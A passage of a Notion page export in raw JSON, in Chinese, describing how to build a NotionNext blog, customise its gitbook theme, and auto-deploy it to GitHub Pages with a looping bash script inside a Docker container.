run dev\n#打包为静态资源\nyarn run build"]],"language":[["Bash"]]},"created_time":1705640174807,"last_edited_time":1710865635729,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"2992810d-657a-4ba9-9132-1351b3060bd5":{"value":{"id":"2992810d-657a-4ba9-9132-1351b3060bd5","type":"header","properties":{"title":[["仓库文件添加"]]},"created_time":1710865627825,"last_edited_time":1710865654101,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"3a1f742a-0d19-4590-8e61-2f948b5e7111":{"value":{"id":"3a1f742a-0d19-4590-8e61-2f948b5e7111","type":"code","properties":{"title":[["在github仓库中直接添加\n.nojekyll文件,避免static文件夹404"]],"language":[["JavaScript"]]},"created_time":1710865656400,"last_edited_time":1710865771155,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"f7a5fdcf-9092-44ab-9842-57be93aed9ea":{"value":{"id":"f7a5fdcf-9092-44ab-9842-57be93aed9ea","type":"text","created_time":1710865754852,"last_edited_time":1710865754852,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"c1cc4548-3e10-4d0b-bbc4-e203ad30dd03":{"value":{"id":"c1cc4548-3e10-4d0b-bbc4-e203ad30dd03","type":"sub_header","properties":{"title":[["部署到GitPage"]]},"created_time":1705640400022,"last_edited_time":1710865643657,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"f6edcd65-59b1-412b-90db-48a98653fa08":{"value":{"id":"f6edcd65-59b1-412b-90db-48a98653fa08","type":"code","properties":{"title":[["#上述静态资源输出目录为:~/NotionNext/out\n\n#GitPage搭建 略\n\n#拷贝out到本地GitPage仓库\ncp -rf ~/NotionNext/out/* /仓库名\n\n#切换到GitPage仓库,提交并推送\ncd /仓库名\ngit add * \ngit commmit -m \"sth\"  \ngit push\n\n#等待GitPage自动部署"]],"language":[["Bash"]]},"created_time":1705640523845,"last_edited_time":1705640727163,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"10e2b13c-bc4e-4e9e-bd87-54e52f3790ef":{"value":{"id":"10e2b13c-bc4e-4e9e-bd87-54e52f3790ef","type":"image","properties":{"size":[["94.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/d19ae0e1-5ceb-459d-8651-c84c52daa599/Untitled.png"]]},"format":{"block_width":1294,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/d19ae0e1-5ceb-459d-8651-c84c52daa599/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.3516228748068006,"block_preserve_scale":true},"created_time":1705640723356,"last_edited_time":1705640727124,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["d19ae0e1-5ceb-459d-8651-c84c52daa599"]}},"b5e101f9-29ce-4cbe-9051-a455fbfa12ea":{"value":{"id":"b5e101f9-29ce-4cbe-9051-a455fbfa12ea","type":"text","created_time":1705640501612,"last_edited_time":1705643611219,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"5040c940-a117-4c50-9ed5-bd7dfc5c7a7c":{"value":{"id":"5040c940-a117-4c50-9ed5-bd7dfc5c7a7c","type":"header","properties":{"title":[["美化"]]},"created_time":1705640501612,"last_edited_time":1705775518801,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"12eb9707-d557-4a4c-9ee9-8423754c863c":{"value":{"id":"12eb9707-d557-4a4c-9ee9-8423754c863c","type":"sub_header","properties":{"title":[["更换标题"]]},"created_time":1705643871067,"last_edited_time":1705643993614,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"e0c24ed4-6466-40fb-9355-e77528efa546":{"value":{"id":"e0c24ed4-6466-40fb-9355-e77528efa546","type":"text","properties":{"title":[["打开自己的notion页面,找到配置中心,把要自定义的全改了"]]},"created_time":1705643896337,"last_edited_time":1705644073882,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"7c9fba5b-528b-4d18-b9f9-4d5d644bc7f4":{"value":{"id":"7c9fba5b-528b-4d18-b9f9-4d5d644bc7f4","type":"image","properties":{"size":[["76.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/89307af5-25fa-4a3c-aa99-3987bf270a76/Untitled.png"]]},"format":{"block_width":718,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/89307af5-25fa-4a3c-aa99-3987bf270a76/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.9415041782729805,"block_preserve_scale":true},"created_time":1705644063778,"last_edited_time":1705644067807,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["89307af5-25fa-4a3c-aa99-3987bf270a76"]}},"f68a55bb-51a5-407c-86fe-101b87a984a8":{"value":{"id":"f68a55bb-51a5-407c-86fe-101b87a984a8","type":"text","properties":{"title":[["打开notionNext工程目录,找到blog.config.js,把想改的全改了"]]},"created_time":1705643696638,"last_edited_time":1705644147378,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"fa8a068e-1ee7-43ac-9c27-50fb204ab1de":{"value":{"id":"fa8a068e-1ee7-43ac-9c27-50fb204ab1de","type":"image","properties":{"size":[["397.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f1ac2930-509b-4490-bf67-6c2ea549d176/Untitled.png"]]},"format":{"block_width":1748,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f1ac2930-509b-4490-bf67-6c2ea549d176/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.7208237986270023,"block_preserve_scale":true},"created_time":1705644134200,"last_edited_time":1705644138423,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["f1ac2930-509b-4490-bf67-6c2ea549d176"]}},"c52418f1-f238-4e4f-92ae-676ea107de4f":{"value":{"id":"c52418f1-f238-4e4f-92ae-676ea107de4f","type":"text","created_time":1705643696638,"last_edited_time":1705644106044,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"7f2e7b2f-b461-4a91-808e-0fb77f22dc8a":{"value":{"id":"7f2e7b2f-b461-4a91-808e-0fb77f22dc8a","type":"sub_header","properties":{"title":[["自定义美化"]]},"created_time":1705644000462,"last_edited_time":1705644240301,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"a0844b1e-1198-4102-b122-6b3ea7184b02":{"value":{"id":"a0844b1e-1198-4102-b122-6b3ea7184b02","type":"quote","properties":{"title":[["我选择的是gitbook主题,年纪大了现在喜欢性冷淡风格的"]]},"created_time":1705644240299,"last_edited_time":1705644242684,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9aee9707-8be2-4297-b520-4bf625987555":{"value":{"id":"9aee9707-8be2-4297-b520-4bf625987555","type":"text","created_time":1705644198411,"last_edited_time":1705644314115,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"0b64a55d-bf95-4fa9-9e44-435a74b6794e":{"value":{"id":"0b64a55d-bf95-4fa9-9e44-435a74b6794e","type":"text","properties":{"title":[["默认启动头像是height=28px,拉伸变形了,修改global.css"]]},"created_time":1705644198411,"last_edited_time":1705644393048,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"e887f9e4-fd50-4a98-8df4-a188b79eca45":{"value":{"id":"e887f9e4-fd50-4a98-8df4-a188b79eca45","type":"image","properties":{"size":[["59.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/b5af9148-c55d-46a4-87ac-9378594a4f2e/Untitled.png"]]},"format":{"block_width":934,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/b5af9148-c55d-46a4-87ac-9378594a4f2e/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5438972162740899,"block_preserve_scale":true},"created_time":1705644309376,"last_edited_time":1705644312948,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["b5af9148-c55d-46a4-87ac-9378594a4f2e"]}},"3e8c7258-01bc-4109-8021-5d0dd9079b22":{"value":{"id":"3e8c7258-01bc-4109-8021-5d0dd9079b22","type":"text","created_time":1705644383541,"last_edited_time":1705644385322,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"56c7c669-d908-485a-b287-e3fb823d0efa":{"value":{"id":"56c7c669-d908-485a-b287-e3fb823d0efa","type":"text","properties":{"title":[["默认进来显示归档页面,注释gitbook主题下index.js部分代码,再修改config.js进来显示归档"]]},"created_time":1705644383541,"last_edited_time":1705644542897,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"5a7bd692-d0cb-44f6-a331-c41efd97ba46":{"value":{"id":"5a7bd692-d0cb-44f6-a331-c41efd97ba46","type":"image","properties":{"size":[["168.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/4e1ad663-0a35-4190-bf5a-2c6006c5c622/Untitled.png"]]},"format":{"block_width":1224,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/4e1ad663-0a35-4190-bf5a-2c6006c5c622/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.7843137254901961,"block_preserve_scale":true},"created_time":1705644445776,"last_edited_time":1705644449255,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["4e1ad663-0a35-4190-bf5a-2c6006c5c622"]}},"b1dc3a62-10f2-4a17-a6b8-3cd3235f668c":{"value":{"id":"b1dc3a62-10f2-4a17-a6b8-3cd3235f668c","type":"image","properties":{"size":[["81.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/91a701b9-28fe-4646-b25c-9ef6fa4b1776/Untitled.png"]]},"format":{"block_width":1090,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/91a701b9-28fe-4646-b25c-9ef6fa4b1776/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.45137614678899085,"block_preserve_scale":true},"created_time":1705644475072,"last_edited_time":1705644479010,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["91a701b9-28fe-4646-b25c-9ef6fa4b1776"]}},"6d6b97c1-1d36-4848-85cb-2759b1070f95":{"value":{"id":"6d6b97c1-1d36-4848-85cb-2759b1070f95","type":"text","created_time":1705640438204,"last_edited_time":1705644546135,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"4d2adebf-0523-4a9b-a0c1-cef677a2cdae":{"value":{"id":"4d2adebf-0523-4a9b-a0c1-cef677a2cdae","type":"text","properties":{"title":[["归档,分类,标签页面显示头像,同样修改gitbook主题下index.js部分代码"]]},"created_time":1705640438204,"last_edited_time":1705645054626,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"6375e8ed-e4d3-43d4-9758-396b026bc926":{"value":{"id":"6375e8ed-e4d3-43d4-9758-396b026bc926","type":"image","properties":{"size":[["94.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/288ad8f3-229e-469a-be3c-1af2c0d1a0a2/Untitled.png"]]},"format":{"block_width":2092,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/288ad8f3-229e-469a-be3c-1af2c0d1a0a2/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.2390057361376673,"block_preserve_scale":true},"created_time":1705644647465,"last_edited_time":1705644651496,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["288ad8f3-229e-469a-be3c-1af2c0d1a0a2"]}},"a872631e-d867-4905-8408-7ed0a3c02cc2":{"value":{"id":"a872631e-d867-4905-8408-7ed0a3c02cc2","type":"embed","format":{"block_width":1560,"block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.24871794871794872,"block_preserve_scale":true},"created_time":1705645874275,"last_edited_time":1705645877974,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["a3e1d405-4af3-4eee-8048-9ff34069c809"]}},"0174ca16-501d-463e-97f8-02d1068ae63f":{"value":{"id":"0174ca16-501d-463e-97f8-02d1068ae63f","type":"header","properties":{"title":[["自动化脚本编写"]]},"created_time":1705640438204,"last_edited_time":1705775523189,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"f952144c-08c3-4adf-8362-682836167eab":{"value":{"id":"f952144c-08c3-4adf-8362-682836167eab","type":"quote","properties":{"title":[["思路:sh脚本编写以上命令,termilal自动运行脚本容易误杀,想着用docker容器,因为我电脑只要开着,docker一定在线。容器启动就自动运行这个脚本,容器挂载NotionNext和GitPage仓库,这样修改起来方便,如果有云服务器迁移也方便。\n还有每次export之前记住移除rm ./NotionNext/public/sitemap.xml这个文件"]]},"created_time":1705640861519,"last_edited_time":1710868443561,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"619521b6-6468-479f-aba9-26d165b1d416":{"value":{"id":"619521b6-6468-479f-aba9-26d165b1d416","type":"text","created_time":1705641186994,"last_edited_time":1705641187162,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"f7c6f34a-1629-49e5-9609-3ea558b11f24":{"value":{"id":"f7c6f34a-1629-49e5-9609-3ea558b11f24","type":"sub_header","properties":{"title":[["目录结构"]]},"created_time":1705641186994,"last_edited_time":1705644700624,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"1b3e5361-0df6-49c2-a40c-32f123fd9cfb":{"value":{"id":"1b3e5361-0df6-49c2-a40c-32f123fd9cfb","type":"image","properties":{"size":[["60.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/ee22b56c-17ec-4d0c-9fcf-cbe10548c4c0/Untitled.png"]]},"format":{"block_width":1458,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/ee22b56c-17ec-4d0c-9fcf-cbe10548c4c0/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.20713305898491083,"block_preserve_scale":true},"created_time":1705641184071,"last_edited_time":1705641187373,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["ee22b56c-17ec-4d0c-9fcf-cbe10548c4c0"]}},"4b330d96-2943-4e6f-b263-d060afecba84":{"value":{"id":"4b330d96-2943-4e6f-b263-d060afecba84","type":"sub_header","properties":{"title":[["deploy脚本"]]},"created_time":1705640195450,"last_edited_time":1705644701913,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"75edd45c-01b6-42ad-a356-af57465bba9b":{"value":{"id":"75edd45c-01b6-42ad-a356-af57465bba9b","type":"code","properties":{"title":[["#!/bin/bash\n\nwhile true\ndo\n  echo '开始部署:'+$(date '+%Y-%m-%d %H:%M:%S')\n\n  rm ./NotionNext/public/sitemap.xml\n\n  cd ./NotionNext\n  yarn export\n\n  cp -rf ./out/* ../bothsavage.github.io\n\n  cd ../bothsavage.github.io\n  time=$(date '+%Y-%m-%d %H:%M:%S')\n  git add *\n  git commit -a -m \"auto $time\"\n  git push\n  echo '结束部署:'+\"auto $time\"\n  cd ..\n\n\t#休息20分钟\n  sleep 1200\ndone"]],"language":[["Bash"]]},"created_time":1705641232739,"last_edited_time":1705641250155,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"1614c8d3-bb33-4af5-8609-6cee2e2cda39":{"value":{"id":"1614c8d3-bb33-4af5-8609-6cee2e2cda39","type":"sub_header","properties":{"title":[["DokcerFile文件"]]},"created_time":1705640188050,"last_edited_time":1705644706664,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9370f961-ddc1-4a0c-910d-b79bc2250eac":{"value":{"id":"9370f961-ddc1-4a0c-910d-b79bc2250eac","type":"code","properties":{"title":[["# Use an official Alpine runtime as a parent image\nFROM alpine:latest\n\n# Install necessary tools\nRUN apk add --no-cache bash git yarn curl\n\n# Set the working directory in the container to /app\nWORKDIR /app\n\n# Copy the deploy.sh file from your host to your current location.\nCOPY deploy.sh .\n\n# Add execute permissions to your script\nRUN chmod +x deploy.sh\n\nRUN git config --global user.email \"xxxx@163.com\"\nRUN git config --global user.name \"xxxx\"\n\n# Run your script when the container launches\nCMD [\"./deploy.sh\"]"]],"language":[["Bash"]]},"created_time":1705641273320,"last_edited_time":1705641305121,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"063f1942-4cba-4357-80a4-09313a3f0d07":{"value":{"id":"063f1942-4cba-4357-80a4-09313a3f0d07","type":"sub_header","properties":{"title":[["准备容器内GitPage推送权限"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705644938363,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"daedf0cf-3d86-4bb7-ad20-e11040afcae2":{"value":{"id":"daedf0cf-3d86-4bb7-ad20-e11040afcae2","type":"text","properties":{"title":[["去这个页面选择创建新的token"]]},"created_time":1705644913708,"last_edited_time":1705644933761,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"1972b0e8-433f-4097-97ab-64cc8d19a50e":{"value":{"id":"1972b0e8-433f-4097-97ab-64cc8d19a50e","type":"text","properties":{"title":[["https://github.com/settings/tokens/new",[["a","https://github.com/settings/tokens/new"]]]]},"created_time":1705641565410,"last_edited_time":1705644910607,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"b8d7b2b2-fde3-4010-93a0-7af0f879685e":{"value":{"id":"b8d7b2b2-fde3-4010-93a0-7af0f879685e","type":"text","properties":{"title":[["勾选如下"]]},"created_time":1705644958128,"last_edited_time":1705644964116,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"78c44322-791d-4126-bc4f-2ea1e4fac3e3":{"value":{"id":"78c44322-791d-4126-bc4f-2ea1e4fac3e3","type":"image","properties":{"size":[["84.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/be1374b0-9f64-4d38-b843-d8eb0b388bed/Untitled.png"]]},"format":{"block_width":908,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/be1374b0-9f64-4d38-b843-d8eb0b388bed/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6101321585903083,"block_preserve_scale":true},"created_time":1705644956370,"last_edited_time":1705644959894,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["be1374b0-9f64-4d38-b843-d8eb0b388bed"]}},"a53ee171-d741-4e49-8daf-df5e62f18d8d":{"value":{"id":"a53ee171-d741-4e49-8daf-df5e62f18d8d","type":"text","properties":{"title":[["再执行下面的命令,这样容器中就可以随意push到GitPage了"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705645043478,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"0ab6df8c-8599-4cea-92cd-7f5059097ff8":{"value":{"id":"0ab6df8c-8599-4cea-92cd-7f5059097ff8","type":"code","properties":{"title":[["git remote remove origin\n\ngit remote add origin https://[TOKEN]@github.com[USER]/[REPO]"]],"language":[["Bash"]]},"created_time":1705645008157,"last_edited_time":1705645010536,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9690bac2-76a6-4f23-9725-701322a573e5":{"value":{"id":"9690bac2-76a6-4f23-9725-701322a573e5","type":"sub_header","properties":{"title":[["搭建步骤"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705644966404,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"e36d24e3-7992-4eb6-939a-fd11e1b53f06":{"value":{"id":"e36d24e3-7992-4eb6-939a-fd11e1b53f06","type":"code","properties":{"title":[["#切换到自己目录下\ncd /Users/xxxx/Documents/blog/\n#更改部署sh权限\nchmod 755 deploy.sh\n#构建docker镜像\ndocker build -t notion_git_sync .\n#运行容器\ndocker run -d -v /Users/xx/Documents/blog:/app --name notion_git_sync notion_git_sync"]],"language":[["Bash"]]},"created_time":1705641323138,"last_edited_time":1705641495242,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"b41d838b-6fbe-4d71-9722-dadacb382dcf":{"value":{"id":"b41d838b-6fbe-4d71-9722-dadacb382dcf","type":"sub_header","properties":{"title":[["验证"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705644711487,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"130d2fea-5722-4d03-b8ad-e87108f5a4c8":{"value":{"id":"130d2fea-5722-4d03-b8ad-e87108f5a4c8","type":"image","properties":{"size":[["196.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9a809d6d-6785-479f-a810-a93ae386dacf/Untitled.png"]]},"format":{"block_width":990,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9a809d6d-6785-479f-a810-a93ae386dacf/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5888888888888889,"block_preserve_scale":true},"created_time":1705641644301,"last_edited_time":1705641648144,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["9a809d6d-6785-479f-a810-a93ae386dacf"]}},"b7da95f3-dcd5-4fe4-8a6a-6a85a0dbf6fd":{"value":{"id":"b7da95f3-dcd5-4fe4-8a6a-6a85a0dbf6fd","type":"text","format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705643356716,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"b3324876-371f-4045-b072-9dbf1508458d":{"value":{"id":"b3324876-371f-4045-b072-9dbf1508458d","type":"header","properties":{"title":[["特别提醒"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705775531530,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"761d38bd-740e-4f58-a2fe-b740adfb3bd5":{"value":{"id":"761d38bd-740e-4f58-a2fe-b740adfb3bd5","type":"bulleted_list","properties":{"title":[["自己notion的PageId最好不要对外暴露,因为文章是支持密码访问的"]]},"created_time":1705644738431,"last_edited_time":1705644777404,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"c5050e56-238a-43c9-a868-0b977934d7c9":{"value":{"id":"c5050e56-238a-43c9-a868-0b977934d7c9","type":"bulleted_list","properties":{"title":[["fork下来的NotionNext最好改成私有,避免泄漏关键信息"]]},"created_time":1705644777904,"last_edited_time":1705645150349,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"1eeb0e91-e622-4207-a487-f593e61cbafc":{"value":{"id":"1eeb0e91-e622-4207-a487-f593e61cbafc","type":"bulleted_list","properties":{"title":[["在github仓库中提前建好.nojekyll文件"]]},"created_time":1710868445911,"last_edited_time":1710868474053,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"b15058de-7c95-4b23-8f5c-4ec0f6f3f46a":{"value":{"id":"b15058de-7c95-4b23-8f5c-4ec0f6f3f46a","type":"bulleted_list","properties":{"title":[["每次export的时候要删除./NotionNext/public/sitemap.xml"]]},"created_time":1710868474242,"last_edited_time":1710868494254,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"728023af-c072-43d3-b5eb-b90e0f683d0e":{"value":{"id":"728023af-c072-43d3-b5eb-b90e0f683d0e","type":"text","created_time":1705645130737,"last_edited_time":1705645152364,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9144d30d-d0cd-43c6-867b-4a5554268b55":{"value":{"id":"9144d30d-d0cd-43c6-867b-4a5554268b55","type":"header","properties":{"title":[["写到最后"]]},"created_time":1705645130737,"last_edited_time":1705645213985,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"b76e0a4c-8033-43c6-aef8-d5b147dcad2a":{"value":{"id":"b76e0a4c-8033-43c6-aef8-d5b147dcad2a","type":"column_list","content":["9ee864a2-7d8f-4168-bee6-379f4bf4b09b","05abb28a-ad68-45fa-a724-51a364a67d67","bdebad8d-342b-4e57-b82d-05d9b80dd49c"],"created_time":1705645477211,"last_edited_time":1705646150617,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9ee864a2-7d8f-4168-bee6-379f4bf4b09b":{"value":{"id":"9ee864a2-7d8f-4168-bee6-379f4bf4b09b","type":"column","content":["e93ae513-6038-4c72-8688-b7320b41fb95"],"format":{"column_ratio":0.25},"created_time":1705645477211,"last_edited_time":1705651482475,"parent_id":"b76e0a4c-8033-43c6-aef8-d5b147dcad2a","parent_table":"block","alive":true}},"05abb28a-ad68-45fa-a724-51a364a67d67":{"value":{"id":"05abb28a-ad68-45fa-a724-51a364a67d67","type":"column","content":["ec882307-59f6-4b1b-882e-1d900daaa086","b2451af8-069a-4880-92d0-f4d3162f67cd"],"format":{"column_ratio":0.34601449275362306},"created_time":1705645706992,"last_edited_time":1705651479842,"parent_id":"b76e0a4c-8033-43c6-aef8-d5b147dcad2a","parent_table":"block","alive":true}},"bdebad8d-342b-4e57-b82d-05d9b80dd49c":{"value":{"id":"bdebad8d-342b-4e57-b82d-05d9b80dd49c","type":"column","content":["2606f9d4-240f-4a91-8267-c2b28f18fe2e"],"format":{"column_ratio":0.4039855072463767},"created_time":1705646150615,"last_edited_time":1705646164501,"parent_id":"b76e0a4c-8033-43c6-aef8-d5b147dcad2a","parent_table":"block","alive":true}},"e93ae513-6038-4c72-8688-b7320b41fb95":{"value":{"id":"e93ae513-6038-4c72-8688-b7320b41fb95","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb